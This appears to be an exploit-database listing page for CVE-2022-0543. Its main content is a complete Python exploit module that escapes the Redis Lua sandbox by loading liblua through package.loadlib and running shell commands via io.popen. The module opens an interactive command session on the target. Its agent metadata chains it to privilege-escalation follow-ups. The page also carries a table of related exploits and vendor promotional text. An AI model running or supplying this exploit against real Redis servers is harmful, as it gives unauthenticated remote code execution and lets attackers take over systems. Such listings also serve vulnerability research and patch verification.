Redis - Lua Sandbox Escape RCE (CVE-2022-0543)
| Reporter | Title | Published | Views | Family All 98 |
|---|---|---|---|---|
| Exploit for Missing Authorization in Redis | 6 Jul 202204:35 | – | githubexploit | |
| Redis-RCE-x-HTB | 6 Aug 202606:38 | – | githubexploit | |
| METIS | 30 Sep 202613:24 | – | githubexploit | |
| cve-poc-collection | 7 Jul 202617:00 | – | githubexploit | |
| Exploit for Missing Authorization in Redis | 16 Mar 202206:41 | – | githubexploit | |
| Exploit for Missing Authorization in Redis | 8 Oct 202621:45 | – | githubexploit | |
| Exploit for Missing Authorization in Redis | 16 Mar 202206:41 | – | githubexploit | |
| Exploit for Missing Authorization in Redis | 1 Sep 202216:44 | – | githubexploit | |
| exploit-library | 14 Jul 202602:05 | – | githubexploit | |
| Redis Lua Sandbox Escape Exploit | 27 Apr 202200:00 | – | zdt |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Redis Lua sandbox escape RCE (CVE-2022-0543) — opens execute session."""
import socket
from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client
from lib.exploit.handler import Handler
_LUA_LIBS = (
'/usr/lib/x86_64-linux-gnu/liblua5.1.so.0',
'/usr/lib/aarch64-linux-gnu/liblua5.1.so.0',
'/usr/lib/arm-linux-gnueabihf/liblua5.1.so.0',
'/usr/lib/i386-linux-gnu/liblua5.1.so.0',
)
class Module(Exploit, Tcp_scanner_client, Handler):
__info__ = {
'name': 'Redis - Lua Sandbox Escape RCE (CVE-2022-0543)',
'description': (
'Exploits CVE-2022-0543 on Debian/Ubuntu Redis packages by loading '
'liblua5.1 via package.loadlib inside EVAL and running shell commands '
'through io.popen. Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2022-0543'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': [
'https://www.debian.org/security/2022/dsa-5101',
'https://nvd.nist.gov/vuln/detail/CVE-2022-0543',
],
'tags': ['redis', 'rce', 'lua', 'unauth', 'kev', 'cve-2022-0543'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'post/shell/multi/gather/privesc_suggester',
'scanner/tcp/cve_2022_0543_detect',
],
},
},
}
port = OptPort(6379, 'Redis port', True)
lua_lib = OptString(
'',
'Override path to liblua5.1.so.0 (auto-probe if empty)',
required=False,
)
def _libs(self):
override = str(self.lua_lib or '').strip()
if override:
return (override,)
return _LUA_LIBS
def _eval(self, cmd: str) -> str:
host = self._host()
port = self._port()
if not host:
return ''
safe = str(cmd).replace('\\', '\\\\').replace('"', '\\"')
for lib in self._libs():
script = (
f'local io_l = package.loadlib("{lib}", "luaopen_io"); '
f'local io = io_l(); local f = io.popen("{safe}", "r"); '
'local res = f:read("*a"); f:close(); return res'
)
payload = (
f'*3\r\n$4\r\nEVAL\r\n${len(script)}\r\n{script}\r\n$1\r\n0\r\n'
)
sock = None
try:
sock = socket.create_connection(
(host, port), timeout=max(self._timeout(), 8.0)
)
sock.settimeout(max(self._timeout(), 8.0))
sock.sendall(payload.encode())
data = sock.recv(65536).decode('latin-1', errors='replace')
except OSError:
continue
finally:
if sock is not None:
try:
sock.close()
except Exception:
pass
# RESP bulk string: $<len>\r\n<data>\r\n
if data.startswith('$-1') or data.startswith('-ERR'):
continue
if data.startswith('$'):
parts = data.split('\r\n', 2)
if len(parts) >= 3:
return parts[2].rstrip('\r\n')
if 'uid=' in data or data.strip():
return data
return ''
def execute(self, cmd: str) -> str:
return self._eval(cmd)
def check(self):
body = self.execute('id')
if 'uid=' in (body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2022-0543 confirmed: id via Lua package.loadlib',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'Lua sandbox escape failed',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2026 06:19Current
8.7High risk
Vulners AI Score8.7
CVSS 3.110
CVSS 210
EPSS0.99351
SSVC